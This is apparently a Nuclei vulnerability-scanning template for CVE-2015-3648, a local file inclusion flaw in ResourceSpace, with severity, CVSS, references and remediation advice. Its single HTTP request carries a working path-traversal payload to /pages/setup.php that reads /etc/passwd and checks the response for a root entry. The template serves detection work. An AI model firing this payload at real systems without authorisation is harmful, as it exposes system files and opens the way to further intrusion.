id: CVE-2015-3648

info:
  name: ResourceSpace - Local File inclusion
  author: pikpikcu
  severity: high
  description: ResourceSpace is prone to a local file-inclusion vulnerability because it fails to sufficiently sanitize user-supplied input.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Upgrade to the latest version of ResourceSpace to fix the local file inclusion vulnerability.
  reference:
    - https://vulners.com/cve/CVE-2015-3648/
    - http://svn.montala.com/websvn/revision.php?repname=ResourceSpace&path=%2F&rev=6640&peg=6738
    - http://packetstormsecurity.com/files/132142/ResourceSpace-7.1.6513-Local-File-Inclusion.html
    - https://nvd.nist.gov/vuln/detail/CVE-2015-3648
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2015-3648
    cwe-id: CWE-22
    epss-score: 0.51684
    epss-percentile: 0.97937
    cpe: cpe:2.3:a:montala:resourcespace:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: montala
    product: resourcespace
  tags: cve2015,cve,lfi,resourcespace,packetstorm,montala,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/pages/setup.php?defaultlanguage=..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402201b01f3b410237e5aa6e4f98775be0945b562040e9726ccefac37534dc6e7f1eb02201da266dd45b63aa984cf28699810560ebf4f3a43f922f6eadb18a3e9fe85844e:922c64590222798bb761d5b6d8e72950